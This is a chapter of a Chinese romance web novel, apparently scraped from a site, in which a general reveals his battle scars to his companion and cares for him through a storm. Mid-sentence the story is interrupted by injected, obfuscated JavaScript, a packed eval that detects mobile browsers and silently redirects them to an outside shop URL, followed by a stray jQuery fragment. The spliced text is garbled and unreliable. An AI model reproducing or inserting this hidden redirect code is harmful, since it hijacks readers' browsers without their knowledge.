江翎瑜到了唐煦遥这卧房里,才躺好,倒说不想睡了,就披着被子,伏在唐煦遥膝间看兵书。
唐煦遥征战了几年,身上受了好些入骨伤。这新伤旧伤一到阴雨天气就会隐隐作痛,江翎瑜病着的时候疼了一阵,这会子大抵是变天了,唐煦遥觉着心口上的伤又有些疼。
江翎瑜看够了书,抬眸时注意到唐煦遥的手按着心口,眉头轻轻蹙着。
“你怎么了?”
江翎瑜忙将书撂下坐起来,指尖轻轻抵在唐煦遥的手背上:“心口痛了吗?”
“没有,”唐煦遥握着他的手,扶着他依偎在自己怀里,温声哄他,“不用担心我。”
“你说。”
江翎瑜不信,摇晃着唐煦遥的胳膊:“快告诉我你怎么了。”
“没事就是没事。”
唐煦遥不想说,也不想让自己身上这些斑驳的刀痕吓着江翎瑜,有意岔开话茬:“我觉得屋里进了些凉风,许是又阴天了,夜里我打着伞送你回府。”
“你快跟我说,”江翎瑜不听,在他怀里挣扎起来,“你不说我就生气了。”
“没什么,就是先前在边关征战时留下的旧伤。”
唐煦遥怕他生气,只好依着他说了:“一到阴天下雨就疼一阵。”
江翎瑜闻言蹙了眉,跪坐在他身边:“让我看看。”
“有什么可看的,”唐煦遥唇角含笑,“带兵征战的人哪有不受伤的。”
江翎瑜担心极了,抓着他的手说:“莫说了,你快让我看看。”
唐煦遥推辞了几遍,江翎瑜不应允,他也只好将官服解了一半,露出心口上那道又长又深的刀伤。
伤口早就愈合了,但此时见来依旧触目惊心。这一刀差点要了唐煦遥的命,刀刃曾入骨,再怎么愈合,样子也不会太好看。
江翎瑜看得愣了,指尖轻抚着这条刀疤,问话时喉间有些轻颤:“这刀口,还....还痛吗?”
唐煦遥刚想回话,却瞥见江翎瑜眼圈泛红,眼泪滚落下来,急忙安抚他:“怎么哭了?是不是吓着你了?”
江翎瑜摇摇头,指尖摸着他身上的刀伤,颤声问:“当时你是不是伤得很重?”
唐煦遥故作轻松地笑笑:“没有。”
江翎瑜不信他:“你说实话。”
唐煦遥收敛了笑意,只好如实说:“是,那回是九死一生。不过做将军,这也是常有的事。”
江翎瑜心疼他,因为他解衣扣时只露左肩,目光所及就三道伤疤。要是遍布全身,当真不知道他征战沙场这些年究竟受了多少伤。
江翎瑜越想越后怕,扑进唐煦遥怀里就咬着唇掉眼泪,他要面子,怎么也不肯哭出声来。
“不哭了好不好?”
唐煦遥猜着江翎瑜是有些心疼自己,揉着他厚实软腻的发丝,安抚他:“我没事了。”
江翎瑜不说话,抱着他掉了很久的眼泪,才渐渐平静下来,喉间还有很轻微的啜泣声。
“不哭了,”唐煦遥抚着美人虚薄的背,柔声哄他,“我真没事。”
江翎瑜鼻尖和唇峰都很红,眼睛也水汪汪的,轻声问唐煦遥:“那你以后还会去吗?”
“应该不用了。”
唐煦遥想了想,颇有些无奈:“谁知道呢,将军不远征封疆就是不忠,要是边关还不安定,也是要去的。”
江翎瑜很难过,他有私心是真的,希望唐煦遥能永远只在他身侧,哪里也不要去。
可惜,臣命从始至终都捏在国君手里。
江翎瑜有些失神地坐正了,让唐煦遥将衣裳穿好,只是想着想着,还是忍不住眼圈湿红。
他好害怕唐煦遥永远留在沙场上。
“没事了。”
唐煦遥理好了腰带,又将美人抱进怀里哄着:“现在边疆安定,要是皇帝很有手段,我倒是也能闲下几年。”
江翎瑜闻言蹙眉:“那岂不是还要去?”
“那怎么办,”唐煦遥半说笑,“大不了我卸甲归田,可你这等娇生惯养的玉人,受得住那样的风吹日晒吗?”
“谁,谁要和你一起走,”江翎瑜嫩白的小脸一下子涨红了,垂眸支支吾吾,“去也是你自己去。”
唐煦遥一笑,露出些莹白整齐的贝齿:“那我接着给皇帝打仗就是了,到时候我就.....”
“你别说了。”
江翎瑜忙抬手捂住唐煦遥的唇,着了急:“不许乱讲。”
唐煦遥轻笑,原来江翎瑜还是在乎自己的,连句不吉祥的话都不让说。
江翎瑜还是因为那没说完的半句话不高兴,腻在唐煦遥膝间装病,叠起胳膊抱着心腹,一句话也不说了。
“怎么了?”
唐煦遥见状立刻就不嬉皮笑脸了,拨开他细白的胳膊,给他轻轻揉一揉肚子:“为何又难受了,晌午的时候吃得不好吗?”
江翎瑜轻哼一声:“因为你气我。”
“对不起,”唐煦遥急忙赔礼道歉,“下次不这样逗你了,不生气了好不好?”
“我不痛。”
江翎瑜从唐煦遥怀里挣扎起来,直着身子抱住他:“那你以后不要再说这样的话了,我害怕。”
“好。”
唐煦遥知道江翎瑜没事就好了,也不生他的气:“以后不说了。”
两个人又待了挺长一会才去用晚膳,刚从正堂走回来,正商量着送江翎瑜回府要不要备个伞,那条大黑狗从花园跑回来,径直窜进唐煦遥的卧房里卧下,吐着粉红的舌头,一脸无辜地摇尾巴。
“坏了,”唐煦遥变了脸色,“唐礼,你快去拿伞,要变天了,再晚些江大人就走不了了。”
这狗机灵,天变得厉害就会往唐煦遥屋子里跑。但它贪玩,不肯早些回来,非得等雨点将淋不淋才进来。
唐煦遥话音刚落,一阵狂风乍起,将树上的枝叶卷得七零八落,卧房的门窗轰隆作响,外头也几道炸雷轰鸣,惊得江翎瑜闪身躲进唐煦遥怀里。
“不怕,”唐煦遥抱着受了惊吓的娇弱美人,“我在呢。”
雨还没下起来,风可是越来越大,实在有卷檐的态势,房门也几度要被吹开。
唐煦遥见天气已经这么恶劣,就不让江翎瑜受冻走这几步回府了,免得再病了,让他在自己这卧房里将就一宿。
唐礼想着江翎瑜多半是不会回府了,趁着最开始的时候风不太大,忙跑出去将此事告诉了江玉。
两府的管家互相报过信了,才算是各自放心。
卧房里渐渐浓黑下去,唐煦遥将烛火尽数点燃,折回去安抚坐在床头的江翎瑜。
“这天气不好,”江翎瑜轻蹙眉头,将素手按在唐煦遥心口上,“你是不是心口痛了?”
唐煦遥心里一热,刚才随口一说的事他竟也
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13745113|145241||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
记得?
“还好。”
唐煦遥手大,骨节也很漂亮,抬手就把江翎瑜细白修长的手指覆住,温声说:“不是很痛。”
江翎瑜心疼他,一改往日顽皮的样子,也为他轻轻地揉一揉心口。
这些年唐煦遥也疼得惯了,但江翎瑜这样在意此事,倒让唐煦遥有些局促。
“要是揉一揉,”江翎瑜抬眸望着唐煦遥,“你能不能好受些?”
唐煦遥不愿搅了江翎瑜的温柔,就点点头,骗了他:“嗯,有时候疼得紧了,我也是这样揉揉,会好一些。”
这些旧伤新伤疼起来是很磨人的,唐煦遥自从边关回来才觉得好了些,在沙场那些年才是疼得辗转反侧,彻夜睡不下。
江翎瑜听唐煦遥说这样能好些,揉得特别认真。但他没什么力气,揉不了多久,眼珠一转,倒是想了个法子。
江翎瑜让唐煦遥把唐礼叫来,烧上一壶热水倒进盆里,江翎瑜自己则让唐煦遥解开衣裳躺好了,用浸透了热水又拧干的绢子给他敷着心口。
这绢子换了一次又一次,江翎瑜一点也不嫌累,只想让唐煦遥心口上的旧伤能不那么痛。
唐煦遥不眨眼地看着美人,他拧绢子的时候是那样生涩,雪白纤细的手都让热水浸红了。
江翎瑜娇生惯养,从来不做什么家务,竟也愿意为了唐煦遥去碰这极烫手的水。
唐煦遥不让江翎瑜再浸绢子了,抬手就将他细瘦的手腕攥住:“躺下歇息会吧。”
唐煦遥平躺着,另一只手抚摸着美人软软的腰侧:“你不用这么费心,倒是该好好养一养你的病。”
江翎瑜看着心口上满是伤痕的唐煦遥,忽然觉得很难过,唇间嗫嚅几下,轻声说:“我不知道你受过伤,以后,我不气你了。”
“只是旧伤而已,又不是心疾。”
唐煦遥将身上那块热绢子拿开,推着江翎瑜的腰身让他伏在自己身上,待他这样侧卧下来,顺手摩挲着他细软的腰:“不用太担心我,没事的。”
江翎瑜没说什么,只倒伏在唐煦遥怀里抱着他,还抬起手摸摸他的脖颈上跳动的血脉。
唐煦遥抚着怀里美人身上穿的丝绸寝衣,今天还冷,这衣料更是柔软冰凉,唐煦遥见状将被子拽高了,结结实实地覆在江翎瑜身上,将手探进他寝衣里为他暖暖胃,偶尔顺时针揉一揉。
“这样的寝衣夏天穿就好,”唐煦遥嘱咐他,“冬天不许穿了,这风一吹得多冷,你身子不能受寒。”
“穿你身上这样的吗?”
江翎瑜伸手摸摸唐煦遥身上的衣料:“不想穿,总觉得磨着胳膊。”
“你这皮肉也确实太嫩,”唐煦遥手上揉得轻了些,生怕手心的茧子磨着他白嫩的身子,“实在不想换,那这秋冬你就穿厚点,不透风就不冷了。”
江翎瑜拽着唐煦遥侧躺过来,小猫似的钻进他怀里。
唐煦遥见江翎瑜不愿意枕玉枕,耷拉着脑袋,就把手臂伸出去给他枕着,另一只手为他暖着腰窝。
“你好受些了吗?”
江翎瑜抬指尖按着唐煦遥的心口,满眼担忧:“夜里能睡下吗?”
唐煦遥先前从来没想过能用热绢子敷一敷,这会确实舒服多了,刚躺一会就有了睡意。
“能,”唐煦遥将美人推着离自己更近了,好稳稳地抱住他,“离我近些,也好给你暖身子。”